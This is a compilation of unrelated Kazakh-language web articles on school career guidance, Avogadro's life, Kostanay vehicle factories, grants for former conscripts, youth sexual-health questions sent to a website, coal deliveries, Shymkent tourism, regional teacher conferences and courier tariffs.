12 жылдық білім берудегі бейіндік мектепке ауысу оқушылардың кәсіби анықталуын көп кезеңді етеді: бейіндік бағыт - мамандық таңдау. Оқушылардың түрлі дәрежеде олардың қажеттіліктері мен қабілеттілігіне сай толықтай білім алуларына себептесу арқылы бейіндік оқытуды енгізу оқушыларды болашақ кәсіптік бағдарлаудың іс-әрекет ортасына және олардың кәсіби өзін-өзі анықтауына оң әсерін тигізеді.
Сонымен қазіргі жаңа қоғамның сұранысына сәйкес кәсіптік білімге орай бейімдеп оқытуды жүзеге асыру қажеттіліктері оқушыларды бейіналды дайындау мәселелерінің толық зерттелмеуі, оқушылардың мамандық таңдау қажеттілігі мен оларда мамандық, кәсіптік еңбек әлемі жөнінде қажетті білімдердің жоқтығы арасында, оқушылардың тұлғалық мүмкіндіктері мен мамандықтың адамға қояр талаптары арасында, оқушылардың кәсіби өзін-өзі анықтауы мен қазіргі еңбек нарығында олардың таңдаған мамандығының жеткілікті деңгейде жетілмеуі арасындағы қарама-қайшылықтың орын алғандығы байқалады. Мектепте бейіналды дайындықты ұйымдастыру жүйелі жүргізілсе, оқушыларды кәсіптік әлемі жөнінде қажетті біліммен қаруландырып,олардың танымдық мүмкіндіктері, қызығушылықтары, қабілеттері, бейімділіктері,шығармашылық белсенділігі дұрыс қалыптастырылып, бейіндік бағыт таңдауда қателеспес еді.
Оқушылардың іскерлік қызығушылығын зерттеу мен бейінін байқау, бейін бойынша оқытудың негізгі бөлігі болып есептеледі, ал бұл психологиялық әдістемеге сүйенуді талап етеді. Әрбір бейін бойынша оқыту сыныптарында ашық түрде және нақты таңдаудың түрі жүріп жатуы керек. Қазіргі көзқарас бойынша кәсіптік жетістік ол адамның қалай туғанына емес еңбек іс-әрекетінде қалыптасады. Кәсіптік шеберліктің тууына қалыпты кәсіби түрткі әсер етуі керек,қысқаша айтсақ жұмыс істеуге ниеті, сонымен бірге соған сәйкес қабілеті, негізге сүйене дағдысы қалыптасуы керек. Бейін таңдау оқытуда сыныптарды іріктеу мамандық таңдау бойынша жүйелі жұмысты емес, оны толықтыруды, қайта қарауды талап етеді.
Қазіргі жас жеткіншектердің қабылдау ерекшеліктері, жаңа әлеуметтік-экономикалық міндет, бейіндік оқыту міндеті қанша тапсырма берілгенге емес, әдістемелердің құрылымы түрлеріне байланысты. Нәтижелі әдістемелерден соң интеллектінің дамуы көтеріледі, эрудициясы өседі, өмірлік құндылық пен приоритеті өзгереді.
Қорыта келгенде, оқушыларды бейіналды дайындауды жүйелі ұйымдастыру қабілеттері мен бейімділіктеріне қарай ғылымның, өндірістің, өнердің белгілі бір саласында озық нәтижеге қол жеткізе алатын мамандықты таңдауға бағыттайды деп есептеймін. Осы орайда ауыл тарихында өзіндік орны бар №149 «Қызылту» орта мектебінің түлектері жайлы айтып өтуге болады. Мектептен сон қоғамнан өз орындарын ойып тұрып алып өз мүддесін қоғам мүддесімен ұштастыра білген түлектеріміз қаншама? Оқушының оқудағы, шығармашылық, әлеуметтік, коммуникативтік қызмет саласындағы құзіреттілігін айқындай отырып, жеке жетістіктерінің негізінде өз бейінін айқындау мен шыңдай түсуде оқытудың жаңа формалары мен психологиялық қызметті құру әрі оның жан -жақты жұмыс жасауы көптеген тиімділіктерді береді деген сенімдемін. |
Амедео Авогадро (1776 жылы 9 тамыз Турин - 1857) — итальян физигi және химигi. Алдымен заңгер мамандығын алып, одан кейiн физика мен математиканы оқыды. Мүше-корреспондент (1804ж.), академик (1819ж.), ал одан кейiн ғылым академиясының Туриндегi физика-математикалық ғылымдар бөлiмiнiң директоры. 1806 – 1819 жылдары университет лицейiнiң физика мұғалiмi, 1820 – 1822 және 1834 – 1850 жылдары Турин университетiнiң профессоры. Авогадроның ғылыми еңбектерi физика мен химияның әр алуан салаларына (электр, электрохимиялық теория, меншiктi жылу сыйымдылығы, каппилярлық, атомдық көлемдер, химиялық қосылыстардың номенклатурасы және басқалар) арналған.
Амедео Авогадро
Mémoire sur les chaleurs spécifiques
1811 жылы Авогадро жай газдардың молекуласы бiр немесе бiрнеше атомдардан тұрады деген жорамал айтты. Осы жорамал негiзiнде Амедео негiзгi идеал газ заңдарының бiрiнiң айтылуын (өрнектелуiн), атомдық және молекулалық массаны анықтау әдiсiн анықтады.
Авогадроның молекулалық жорамалын XIX-шы ғасырдың 1-шi жартысындағы физиктер мен химиктер қабылдамады. Авогадро есiмiмен универсалдық тұрақты (Авогадро тұрақтысы (саны)) – идеал газдың 1 молiндегi молекулалар саны – аталады.
Авогадро – молекулалық физикадан алғашқы жетекшi құрал болатын, "Салмақты денелер физикасы, немесе жалпы денелер конституциясы туралы трактат" – төрт томдық (1837 – 1841ж.ж.) еңбектiң авторы.
Қызықты фактӨңдеу
Авогадро үшін химия саласындағы белсенді эксперименттерге Гей-Луссак газ заңдарының ашылуы болды. Авогадро өзінің еңбектерінде қазіргі заманғы терминологияда атом да, молекула да ұғымдарын қосатын газ молекуласы туралы түсінік қолданған. |
Қостанайдағы автомобиль жасау зауытында жыл соңына дейін тағы екі көлік түрін құрастыратын желі іске қосылады. Соның арқасында 300 жаңа жұмыс орны пайда болмақ. Ал ауылшаруашылығы техникасын құрастыратын кәсіпорында «Ловол» тракторларының кабинасы жасала бастады.
Қостанайдағы «АгромашХолдинг KZ» зауыты ауылшаруашылығы техникаларын өндіреді. Биыл тоғыз айда кәсіпорын желісінен мыңға тарта «Есіл» комбаиндары мен «Ловол» тракторлары шығарылған. Сонымен қатар дән сепкіш, соқа тәрізді дүниелер де жасалады. Биыл «Ловол» тракторының кабиналарын жинақтайтын желі іске қосылды.
Николай Пархоменко, кәсіпорынның коммерциялық директоры:
Өндіріс ауқымы былтырғы жылмен салыстырғанда биыл 35 пайызға өсті. Дәстүрлі «Есіл» және «Ловол» маркаларының сыртында «Дойц-фар» маркалы трактор мен комбаиндар жасай бастадық. Себебі бұл техникалар еуропалық стандартқа сай, сондықтан сұраныс бар.
Биылғы жоспарға сәйкес осы жаңа маркалы трактордың 68-і, комбайнның 14-і құрастырылған. Алдағы жылы өндіріс ауқымын 40 пайызға көтеру жоспарланып отыр.
Өркендеген өндіріс: Жылына 35 мың көлік шығарылады
Ал Қостанайдағы машина жасау зауыты 2010-шы жылдан бері тұрақты жұмыс істеп, өзінің өндіріс ауқымын біртіндеп кеңейтіп келеді. Бүгінде бұл жерден әлемге танымал брендтік маркалы автокөліктің бірнеше түрі құрастырылады. 2 мыңнан астам адам еңбек етеді.
Владимир Солосин, жұмысшы:
Менің мұнда жұмыс істегеніме төрт жыл. Дәнкерлеруші болып еңбек етемін. Жұмысым өзіме жайлы, ұнайды. Барлық еңбек қатынастары талаптары қатаң сақталады.
Биыл жыл соңына дейін зауытта «Лада гранта» және «Киа Спортейдж» маркалы автокөліктерді құрастыратын тағы екі цех ашылады.
Александр Трубников, Автокөлік өндірісі басқармасының басшысы:
Қазір сырлау цехын роботтандыру жұмысы жүріп жатыр. Бұл өндіріс көлемін арттыруға мүмкіндік береді. Ал жаңадан ашылатын желінің арқасында тағы 300 адам тұрақты жұмысқа тұрады. |
Әскери борышын өтегендер университетте тегін оқуға мүмкіндік алды. Бұл туралы қорғаныс министрінің орынбасары Дархан Ахмедиев мәлімдеді, деп хабарлайды Sputnik Қазақстан.
«Бүгін қорғаныс министрі 44 жоғары оқу орнымен әскери борышын өтегендерге 3000 грант беру туралы меморандумға қол қойды. Яғни, бір жыл әскерде қызмет өткергендер осы жоғары оқу орындарына ҰБТ-сыз түсе алады», — деп атап өтті Ахмедиев.
Сонымен қатар әскерде жақсы нәтиже көрсеткен жігіттер ЖОО есебінен тегін жоғары білім алу мүмкіндігіне ие болады.
Тағы бір жақсы жаңалық — жақында қаржы нарығын реттеу және дамыту агенттігі кредитке «демалыс беру» туралы келісімді жариялайды. Яғни, сарбаздардың кредиті мерзімді қызмет кезінде 13 айға тоқтатылады. 12 ай қызмет ету мерзімі + 1 ай жұмысқа орналасуға беріледі.
Бұдан бөлек, қорғаныс министрлігі әскерден кейін сарбаздарды жұмысқа орналастыру үшін кәсіпорындармен келісім жасауды жоспарлап отыр |
Сайтқа күнделікті түрлі сұрақтар келіп жатады. Кейде тым ыңғайсыз, кейде тым қарапайым. Кейде ақыл кеңеске емес, жақындарының қолдауына зәру хаттар да келеді.
Элементар дүниелерді сұрап хат жазғанда, «бұл бізді мазақ етіп тұр ма?» деген ой келетін. Бірақ әріптесім Аршат:
– Егер мұндай сұрақтар келсе демек біз дұрыс жолдамыз. Демек біздің сайт шынымен қажет, – деді.
Сайтқа көптеп келетін сұрақтардың бірі «қыздық пердеге» байланысты. Иә, әр әйел ағзасы әртүрлі. Алғашқы түн кезінде бір қыздарда қыздық перде зақымдалмай қалады. Акушер гинекологтарымыз видеода кей әйелдер босанғанда қыздық перде бірге шығатынын айтады. Бірақ қазақ әйелдері үшін бұл – трагедия. Себебі еркектер үшін әйелдің физикалық, моралдық саулығы емес, өзінің «бірінші» болуы әлдеқайда маңызды. Бірде тіпті поштамызға бір жігіттен «қызымның қыздығы өзінікі екенін немесе гименеопластика жасағанын қалай айырамын?» деген хат келді. Егер араларыңда сенім, махаббат болмаса үйленіп не керек деп жауап бергім келді. Бірақ хатты гинекологқа да жолдамадым, жауапсыз қалдырдым.
Қыздардан көптеп келетін сұрақтардың бірі жүктілікке қатысты. От басып, аяғы ауыр болып қалған қыздар шырылдап көмек сұрайды. Жігітінің сырт айналып кеткенін, ата-анасының кешірмейтінін айтып жылайды. Әлеуметтік желідегі парақшамызда әке-шешесі тұрмақ бейтаныс адамдардың өздері онсыз да күйзеліп жүрген қыздардың жер-жебіріне жетіп жатады. Жоспардан тыс жүктілік тек қыздардың проблемасы ма? Осы уақытқа дейін редакция поштасына қызымның аяғы ауыр болып қалды, ата-анасына қалай айтамын деген жігіттен хат келмепті. Бұл нені білдіреді? Қыз-жігіттерге тек сексуалды сауат қана емес, жауапкершілік те жетіспейтінін аңғартады деп ойлаймын.
Саны жағынан үшінші орында тұрған симпоматикалық сұрақтар. Қыз-жігіттер жыныс мүшелерінен қандай да бір бөліністер шығатынын, ауыру белгілерін жазып көмек сұрайды. Біздің гинеколог, урологтарымыз мұндай жағдайда міндетті түрде анализ қорытындылары, тексеру қажет екенін айтады. Қайыра хат жазып талдау түрлерін сұратсақ, «ауылда қайдағы анализ тапсыру? аудан орталығына барсақ ертең бүкіл ауыл біледі. Гинекологқа барсам көрші-қолаң көреді. Презерватив сатып алатын болсам өсекке қалам»дегенді айтады. Гинекологқа, урологқа қаралу, дәріханадан презерватив сатып алу бізде неге ұят саналады? «Бас сынса бөрік ішінде, қол сынса жең ішінде» принципінің денсаулыққа мүлдем қатысы жоқ қой?
Жігіттерден жиі келетін сұрақ «жыным мүшесін ұзарту» туралы. Біздің урологтар видеода және жазбаша сұрақтарға жыныс мүшесінің көлемі ешқандай роль ойнамайтынын бірнеше рет айтты. Бірақ сұрақтар әлі де қойылуда. Еркектерге жыныс мүшесінің көлемі туралы қыздар, әйелдер тарапынан айтылмағанына сенімдімін. Мәселе «жұрттан қалмау», зор болып көріну. Біреудің сен туралы ойы сенің түр-тұрпатыңа емес, ісіңе байланысты екенін қалай жеткізіп түсіндіруге болар екен.
Мәселенің бәрі де соған тірелетін сияқты түптеп келгенде. Қауіпсіз секс, жыныстық инфекция, презерватив, жоспарланбаған жүктілік, криминалды аборт, дәретханадағы шақалақ… Түбімізге жететін «жұрт не дейді», «ұят болады» емес пе?
Өтінемін, әлеуметтік желіде жұрттың жазғырып, ұятын іздемеңізші. Адамдарды адам ететін сіздің комментіңіз емес, өмірден алған сабағы. Бәлкім дәл сіздің комментіңіз өмірден түңілген бір адамды, жарық дүние есігін әлі ашпаған бір нәрестені құтқарып қалар… |
Ел шығысында қайтадан құрылған Абай және Шығыс Қазақстан облыстарын көмірмен негізінен Семей ЖТ бөлімшесінің теміржолшылары қамтамасыз етеді. Бұл ретте биылғы көмір тасымалы штаттық режимде жүріп жатыр.
Бүгінде қос аймақтағы барлық бюджеттік мекемелер қатты отынмен 100 пайыз қамтылған. Осы орайда Абай облысын жекелей қарастырсақ, биылғы жүргізілген есеп бойынша ағымдағы жылыту маусымындағы жалпы қажеттілік 564 мың тоннаны құрайды екен. Ал оның 442,2 мың тоннасы, яғни 78,4 пайызы бүгінде тасып жеткізілген. Бұл дегеніміз облыс көлеміндегі барлық жылу көздеріндегі нормативтік пайдалану қоры 119 пайыз қамтылды деген сөз. Барлық іс-шаралар жоспардан ауытқымай жүргізілуде.
Биылғы жылдың қараша айының 15-ші жұлдызындағы есеп бойынша Абай облысының барлық теміржол тұйықтарында жалпы саны 14,5 мың тонна көмір жатыр. Оның ішінде көмір тұтынуда алдыңғы орында тұрған облыс орталығы, яғни бір ғана Семей қаласының өзінде 8,6 мың тонна көмір бар.
Осы ретте әр тәулік сайын облыс көлеміндегі әрбір теміржол тұйығына орта есеппен алғанда 30 вагон көмір немесе 2 мың тонна қатты отын жеткізіледі. Әйтсе де, бұл өте жоғары көрсеткіш болғанымен аяз түссе, көмірге деген сұраныс күрт артуы мүмкін. Себебі Абай облысы да, Шығыс Қазақстан облысы да газдандырылмаған. Барлық жылу қазандықтары мен жеке сектор тек көмірге тәуелді.
Қазіргі таңда Семей ЖТ бөлімшесі бойынша көмір жеткізуде кешенді жұмыстар жүргізілуде. Бұл ретте жергілікті теміржолшылар үшін кестеден ауытқу жоқ және тосын кедергілер туындамаған. Вагон жетіспеушілігін шешу мақсатында алдын ала іс-шаралар қабылданған. Сол себептен де, Дегелең станциясы мен Жаңа-Семей жүк станциясындағы жұмыс процесі мейлінше қауырт. Жүргізіліп жатқан жұмыстар барысы бөлімше басшысы Владимир Бабиченконың назарында тұр.
Қазіргі күні Абай облысында көмір тасымалдау бойынша арнайы мониторингілік топ жұмыс істейді. Олар кірме жолдардың иелерімен бірлесіп стратегиялық жүкті жеткізу мәселелерін шұғыл шешуде. Сондай-ақ, сала мамандары жергілікті атқарушы билік өкілдерімен, көмір саудалаушы компания өкілдерімен тығыз байланыс орнатқан. Қазіргі таңда Абай облысы бойынша коммуналдық-тұрмыстық секторды көмірмен қамту бойынша жалпы саны 10 теміржол тұйығы жұмыс істеп тұр. Оның төртеуі облыс орталығы Семей қаласында орын тепкен. Әлеуметтік көмір алушылар алдын ала жазылатын болғандықтан жаңа облыстың орталығында қазір қарбалас жоқ.
Көмірдің тоннасы Семейде автокөлікпен жеткізіп беруді қоса алғанда 11,400 теңгеден сатылып жатыр. Бұл республикамыздағы ең төменгі баға. |
Шымкент қаласында туризм сұранысқа қарай бірнеше бағытқа бөлінген. Мәселен кейбіреулер сокралды яғни киелі орындарға барғанды қалайды. Осы ретте туризм және сыртқы байланыстар басқармасы Өзбекстан Республикасымен туристік байланыстарды жандандырып жатыр. Мәселен, Малайзия, тайланд елінен Өзбекстанның тарихи жерлерін аралауға жыл сайын миллиондаған турист келеді екен. Өз кезегінде жергілікті әкімдік сол саяхатшыларды бізге қарай бұру мақсатында жұмыс істеп жатыр.
Сол үшін де киелі орындарға саяхат Оңтүстіктен бастау алады деген ұғымды қалыптастыру бағытында тиісті жұмыстар қолға алынуда. Мәселен, Қожа-Ахмет Яссауи бабамыздың кесенесі Түркістан қаласында орналасса, оның ата-анасы Ибрагим ата мен Қарашаш ананың қабірі Шымкент қаласына кіретін Сайрам тұрғын алабында. Яғни зиярат етушілердің көбісі алдымен Сайрамға келеді, сосын бабамыздың ұстазы Арыстан бабқа барады, содан соң Түркістанға жол тартады.
Әкімдік өз тарапынан өзбек ағайындарға осы сокральді туризмді бірге дамыту бойынша ұсыныс беріп отыр. Мұндағы мақсат егер туристер тарапынан қызығушылық болып жатса, Шымкент қаласында балама ретінде саяхаттау нысаны ретінде ұсыну. Осыған байланысты басқарма зиярат етушілерге барлық жағдайды жасауға дайын. Мәселен тегін гид беріледі. Осы арқылы шетелден келетін туристер ағымын көбейтуді жоспарлап жатыр.
Одан бөлек те туристердің саяхаттау нысанына байланысты әртүрлі сұраныстары болады. Оған айталық экстремалды туризмді жатқыза аламыз. Осы ретте қала іргесінде Бүркіт спорт ұйымы қызмет көрсетеді. Ол жерде мәселен, парашютпен секіруге болады. Сонымен бірге картинг айдау. Сондай-ақ қала ішін аралау, балалар туризмі секілді бағыттар бар.
Биылғы жылдың 1 қаңтарынан бастап туризмді дамыту бағытында елімізде арнайы бағдарлама іске қосылды. Ол бойынша егер сіз Қазақстан ішінде кемінде 5 күн саяхат жасайтын болсаңыз және өзіңізбен бірге балаларыңызды алып жүрсеңіз, 17 жасқа дейінгі барлық балаңызға да әуе билеттері тегін. Бірақ сіз бүтін туристік маршрут сатып алуыңыз керек. Мәселен, Шымккентке келсеңіз, кемінде 5 күн түнеу керексіз. Жататын қонақүй, баратын нысандар туристік оператор арқылы белгіленеді. Мәне осы кезде ғана мемлекет әуе билетіне субсидия жасап береді. Сондықтан басқарма осы бағдарлама арқылы келетін туристердің балаларына арнап қазір балаларға қызықты нысандарды әзірлеп жатыр.
Шымкентте сонымен қатар, медициналық туризм де ерекше қанат жайып келеді. Мәселен, осы күні жан-жақтан, тіпті шетелдерден Шымкентке келіп емделуді қалайтын науқастар саны арта түскен. Жүрек-қан тамырлары ауруларын емдеу, онкологиялық кеселдермен күресу, басқа да күрделі оталар жасау, соның ішінде трансплантология бойынша республиканың үшінші мегаполисі оқ бойы озық келеді. Медициналық туризмнің жарнамасын күшейту мақсатында бүгінде арнайы буклеттер әзірленген. Онда Шымкентте медицинаның қай саласы ерекше дамығаны, тіпті сол салада қандай білікті дәрігерлер бар екендігі туралы нақты мағлұматтар берілген.
Білім туризмін де ерекше атап өтуге болады. Осыған сәйкес қазіргі уақытта шетелдермен тығыз байланыста жұмыстар қолға алынып жатыр. Мысалы үшін Шымкенттегі медициналық жоғары оқу орнында бүгінгі таңда 1200-ден астам үндістандық студенттер оқиды. Сонымен бірге басқа да оқу орындарында әртүрлі елдерден келген шетелдік студенттер білім алуда. Осы қарым-қатынасты ілгерілету мақсатында білім туризмін дамытуға айрықша көңіл бөлініп отыр. Көбінесе шетелдік студенттерді Шымкенттегі оқу орындарының бағасы мен осындағы жайлы орта қызықтырады.
Қалада туристерді жайғастыратын 140 орналастыру орны бар. Оның 28-і қонақүй. Шымкент бір күнде он мыңға жуық саяхатшыны қабылдай алады. Халықаралық стандартқа сәйкес бес жүлдызды «Риксос Хадиша» қонақүйін айрықша атап өтуге болады. Одан бөлек «Қайнар» қонақүйі де қазақстандық стандарт бойынша бес жұлдызды қонақүй санатына жатады. Сондай-ақ төрт, үш, екі жұлдызды және санаты жоқ қонақүйлер де бар.
Шымкентте туризмді өркендетудің, алдағы даму бағыттарын айқындайтын тұжырымдамасы әзірленіп, ол таяу уақытта жергілікті әкімдік тарапынан бекітілетін болады. Тұжырымдама қаланың туристік әлеуеті жан-жақты сараланады. Соның ішінде туристік инфрақұрылымды қолға алу бойынша жоспарлар белгіленеді. Мұндағы басты мақсат Шымкентке қыдырып келген туристің қалада аралап көретін мәдени-танымдық, серуен құратын қызықты орындары көп болуы қажет. Мегаполис республиканың оңтүстігінде орналасқандықтан қалада шуақты күндер көп болады.
Ескеретін бір жәйт, Өзбекстанға келетін ең көп туристердің ішінде Қазақстан бірінші орында тұр екен. Ал біздің елімізде ресейлік туристердің басқалардан қарағанда саны басымдау. Сосын Өзбекстан мен Түркия елдерінен келетіндер саны көп. Ресми статистикаға көз жүгіртсек, өткен үш айда Шымкентке саяхаттаған азаматтар 94 мың адам болған. Алты айлық көрсеткіш бойынша 214 мың адам мегаполиске турист ретінде ат ізін салған. Мәліметті тарқата түссек, осы алты айдағы туристердің 14 мыңы шетелдіктер болды. Қалғанын ішкі туризмнің үлесі алып отыр. Яғни Шымкентке саяхат жасайтындардың басым бөлігі республиканың түкпір-түкпірінен келетін өзіміздің отандастар.
Сондай-ақ төрт халықаралық әуе рейсі арқылы Мәскеумен, Түркияның екі қаласы Анталья мен Стамбұлмен және Грузияның Кутаиси қаласымен тікелей байланыс орнатылған. Ендігі жерде Анкара қаласына бесінші тікелей әуе рейсі ашылғалы отыр. Сонымен бірге чартерлік рейстер арқылы Египет, Сауд Арабиясы, Біріккен Араб әмірліктері елдерімен де туристік байланыс нығайып жатыр.
Шымкентте бір миллионнан астам халық тұрады әрі тұрғындар қалада өте тығыз орналасқан. Ал мегаполистің 500 шықырым айналасындағы халық саны 5 миллионға жетеді. Мың шақырым радиуспен есептесек халық саны 10 миллионға шығады. Оның ішінде Ташкент қаласының да тұрғындары бар. Жергілікті әкімдік туристік белсенділікті арттыру үшін осыншама халықты қызықтыратын республика көлемінде ең ауқымды аквопарк салуды ойластырып отыр. Осыған байланысты Бадам суқоймасы маңынан арнайы жер аумағы айқындалып, оған баратын айналма жол салынып жатыр. Енді жаңа аквопарктің тұжырымдамасы әзірленеді. Ол бойынша аквопаркте қонақүйлер, отбасымен демалып, көңіл көтеретін орындар, балалар ойнайтын аттракциондар, түрлі сауда орталықтары болуы шарт. Қосымша инженерлік-коммуникациялық жүйелерге қосылатын нүктелер анықталды. Ендігі қалғаны әлеуетті инвесторды табу. Егер инвестор аквопарк жобасын қолға алуға келісімін беріп жатса, әкімдік те өз тарапынан тиісті деңгейде қолұшын беруге әзір. Бүгінгі таңда жобаны бастап кетуге 3-4 инвестор дайын отыр. Сонымен бірге әкімдік жергілікті кәсіпкерлермен де тиісті келіссөздер жүргізіп жатыр.
Одан бөлек қаладан туристік нысандарға баратын жол сілтегіштер қойылады. Және де Сайрам тұрғын алабынан 4 ақпараттық табло орнатылады. Таблода туристке керекті бүкіл мәліметтер жарияланады. Мәселен, турист осы нұсқамадан қай жерде жақын аурухана, полиция бекеті және сейіл құратын немесе зиярат ететін қасиетті орындар бар екенін оқып біле алады.
Бүгінгі таңда қаланың Шымкент сити аумағынан халықаралық деңгейдегі брендті 2 қонақүйді салу бойынша және брендті қонақүйлерді мегаполиске тарту жағынан тиісті жұмыстар қолға алынуда.
«Туризмді ілгерілетудің бірден-бір көмекшісі ол маркетинг, яғни жарнама. Өз мүмкіндігін басқа біреулерге көрсете алған кәсіпкер сырттан туристерді өзіне шақыра алады. Егер әлеуметтік желілерге видеомен көрікті бір жердің қандай керемет екендігі көрсетілсе, адамдар шынымен сонда баруға талпынады. Сондықтан маркетинг, жарнамалау туристік салада өте үлкен рөл ойнайды. Өйткені адам жақсы бір жерді алдын көріп, естімеген болса, оны қайдан білсін. Сондықтан алдын ала жасалған жоспарымыз бойынша шетелдегі және барлық ішкі туризм бағытындағы туроператорларға біздің әлеуетімізді көрсететін әртүрлі жарнамалық өнімдер ұсынамыз. Олар соны өздерінің тұтынушыларына жеткізіп, нәтижесінде Шымкент қаласында туристерге арналған қандай көрікті нысандар бар екенін жұрт біліп жүретін болады» дейді Шымкент қалалық туризм және сыртқы байланыстар басқармасының басшысы Ерлан Қыдыров.
Шымкент қаласы мен Түркістан облысының туристері бір-біріне өте жақын, ал қала мен облыстағы туристік нысандар екеуіне де ортақ дүние болғандықтан басқарма аталған өңірмен тығыз қарым-қатынаста жұмыс жүргізуде. Сондықтан Сарыағаш секілді бүкіл елге танымал шипажайлар жарнамасы Шымкентте де жасала береді. Ресми дерек бойынша бір турист Шымкентте 35 мың теңге жаратады. Сонда жоғарыда айтылған 6 айлық көрсеткіш бойынша Шымкентке келген 214 мың туристер санын 35 мың теңгеге көбейтсек, 7.4 млрд теңге болады. Туристер ең кемі қалада 1 күннен 5 күнге дейін саяхаттайды. Сонда орта есеппен 2 күнді алсақ, жарты жылда қала экономикасына 14 млрд теңгеден астам табыс кіріп тұр. Ол тікелей бюджетті толтырмаса да осы салада қызмет көрсетіп жатқан қонақүй, такси, ойын-сауық орталықтары секілді кәсіпкерлік нысандардың пайдасына кенелді. Дей тұрғанмен олардан алынатын салық есебінде бюджеттің де бүйірі томпаятыны анық. Сонымен бірге бүгінгі таңда туризм саласында отыз мыңға жуық адам еңбек етіп, нәпақасын тауып жүр. |
Білім м азмұнын жаңарту аясында Жамбыл облысының жалпы білім беретін мектептерінің 3, 6, 8 сынып мұғалімдеріне арналған секция отырыстары өтті
2018 жылдың 27 тамызында ҚР білім беру саласы педагог қызметкерлерінің «Төртінші өнеркәсіптік революция жағдайындағы адам капиталы» Республикалық тамыз конференциясы аясында, Тараз қаласы А.С.Пушкин атындағы №41 көпсалалы гимназиясы мен Назарбаев Зияткерлік мектебінің базасында жалпы білім беретін мектептің 3, 6, 8 сынып мұғалімдері үшін жаңартылған білім мазмұны мәселесі бойынша облыстық секциялық отырыстар өтті.
Секциялық отырыстар жаратылыстану-математикалық және гуманитарлық ғылымдар мен дене шынықтыру мұғалімдері үшін екі бағытта жүргізілді. Шараға 3, 6, 8 сынып мұғалімдері, мектеп директорлары мен әдіскерлерін қамтыған облыстың 1155 педагог қызметкерлері қатысты.
Іс-шара бағдарламасына сәйкес Тараз қаласы Назарбаев Зияткерлік мектебі және А.С.Пушкин атындағы №41 көпсалалы гимназиясының мұғалімдері пәндер бойынша шеберлік-сыныптарын, Педагогикалық шеберлік орталығының Тараз қаласындағы филиалы жаттықтырушылары тиімді сабақ басқаруға арналған тайм-менеджмент, мұғалім тәжірибесіндегі рефлексивті хат, оқыту тәжірибесін жетілдіру үшін сапалық және сандық зерттеу деректерін қолдану бойынша семинар-практикумдар сериясын өткізді.
Толығырақ: Білім мазмұнын жаңарту аясында Жамбыл облысының жалпы білім беретін мектептерінің 3, 6, 8 сынып...
БІЛІМ БЕРУ ҚЫЗМЕТКЕРЛЕРІНІҢ ТАМЫЗ КЕҢЕСІ ӨТТІ
Жаңа оқу жылының басталуына да санаулы күндер қалды. Ал Жамбыл облысында жаңа оқу жылына дайындық барысы қандай? Осы орайда 23 тамыз күні «Баласағұн» орталық концерт залында «Төртінші өнеркәсіптік революция жағдайындағы адами капитал» атты дәстүрлі педагогтардың тамыз конференциясы өтті.
Биылғы конференцияға облыс әкімі Асқар Мырзахметов пен ҚР Парламенті сенатының депутаты Абдалы Нұралиев, облыстық мәслихат депутаттары және білім саласының қызметкерлері қатысты
Облыстық білім басқармасының басшысы педагогтардың тамыз конференциясында жаңа оқу жылының жаңалықтары мен ескі жылдардың қорытындысы туралы баяндама жасады.
Сондай-ақ, конференция аясында облыстың білім саласындағы жетістіктері мен жаңалықтары туралы көрме қойылды.
Толығырақ: БІЛІМ БЕРУ ҚЫЗМЕТКЕРЛЕРІНІҢ ТАМЫЗ КЕҢЕСІ ӨТТІ
«Төртінші өнеркәсіптік революция жағдайындағы адами капитал» атты облыстық тамыз педагогикалық кеңесінің аясында өткізілген техникалық және кәсіптік білім беру ұйымдарының әдіскерлері мен педагогтарының секция отырысы
2018 жылдың 14 тамызы күні облыстық оқу-әдістемелік кабинетінде «Жаңартылған білім беру мазмұнын жүзеге асыруда әдістемелік қызмет және педагогикалық қызметкерлердің біліктілігін арттыру жүйесін кіріктіру» тақырыбында секция отырысы өткізілді.
Секция жиынына Жамбыл облысы кәсіпкерлер палатасының, «Өрлеу» БАҰО» АҚ филиалы Жамбыл облысы бойынша педагогикалық қызметкерлердің біліктілігін арттыру институтының өкілдері, техникалық және кәсіптік білім беру ұйымдарының әдіскерлері мен педагогтары, барлығы 49 білім қызметкері қатысты.
«Төртінші өнеркәсіптік революциясы жағдайындағы адам капиталы» атты мектеп директорларының секция отырысы өтті
2018 жылдың 22 тамыз күні Жамбыл облысы әкімдігінің білім басқармасының ұйымдастыруымен Мектеп олимпиадаларын және мектептен тыс іс-шараларды өткізетін облыстық орталықтың базасында «Төртінші өнеркәсіптік революциясы жағдайындағы адам капиталы» атты мектеп директорларының секция отырысы өткізілді.
Мектеп басшыларына арналған облыстық секция отырысына мектеп директорлары, директордың орынбасарлары, барлығы 235 адам қатысты.
Іс-шараға қатысушылар 2018-2019 оқу жылындағы білім беру ұйымдарының жұмысындағы жүйелі өзгерістер мен міндеттер, заманауи мектептегі инклюзивті білім беруді ұйымдастырылуы, білім мазмұнын жаңарту жағдайындағы ерекшеліктер туралы ақпараттар алды.
МАТЕМАТИКА, ФИЗИКА ПӘНІ МҰҒАЛІМДЕРІНІҢ СЕКЦИЯ ОТЫРЫСЫ
13 тамыз күні облыстық білім басқармасының оқу-әдістемелік кабинеті тамыз кеңесі аясында физика, математика пәні мұғалімдеріне секция отырысын өткізді.
«Оқу жетістіктерін критериалды бағалау оқушылардың құзыреттілігін арттыру ресурсы ретінде» және «Білім беру мазмұнын жаңарту жағдайында математика сабақтарында оқушылардың оқу жетістіктерін критериалды бағалау» тақырыбында өткен секция жұмыстарына барлығы 1369 педагог қатысты. |
Жеткізіп беру құны Exline компаниясының ағымдағы тарифтерінің негізінде есептеп шығарылған. Жеткізіп беру құнына – Курьерді шақыру, қажетті жүкқұжаттар мен фирмалық конвертты ұсыну, сондай-ақ Exline сайтында жөнелтімнің қозғалуын қадағалау мүмкіншілігі кіреді.
Назар аударыңыз! Көлемі үлкен жөнелтімдерге арналған тариф өзгешеленуі мүмкін, сондықтан «Экспресс» режимінде жіберілетін жіберілімнің биіктігін, енін және ұзындығын міндетті түрде көрсетіңіз. Сәлемедемені «Стандарт» режимінде жөнелту үшін, оның өлшемдерін тараптардың біреуі 100 см-ден асқан жағдайда ғана көрсеткеніңіз жөн.
Назар аударыңыз! Халықаралық жөнелтімдерді Ресей Федерациясына және Қырғыз Республикасына/нен жібергені үшін Тариф Алматы қаласына дейін/нен ғана есептеледі. Кіріс/шығыс халықаралық жөнелтімдерді алушыға/алушыдан жеткізу/алу Қазақстан Республикасының ішінде жібергені үшін тариф қолданылады.
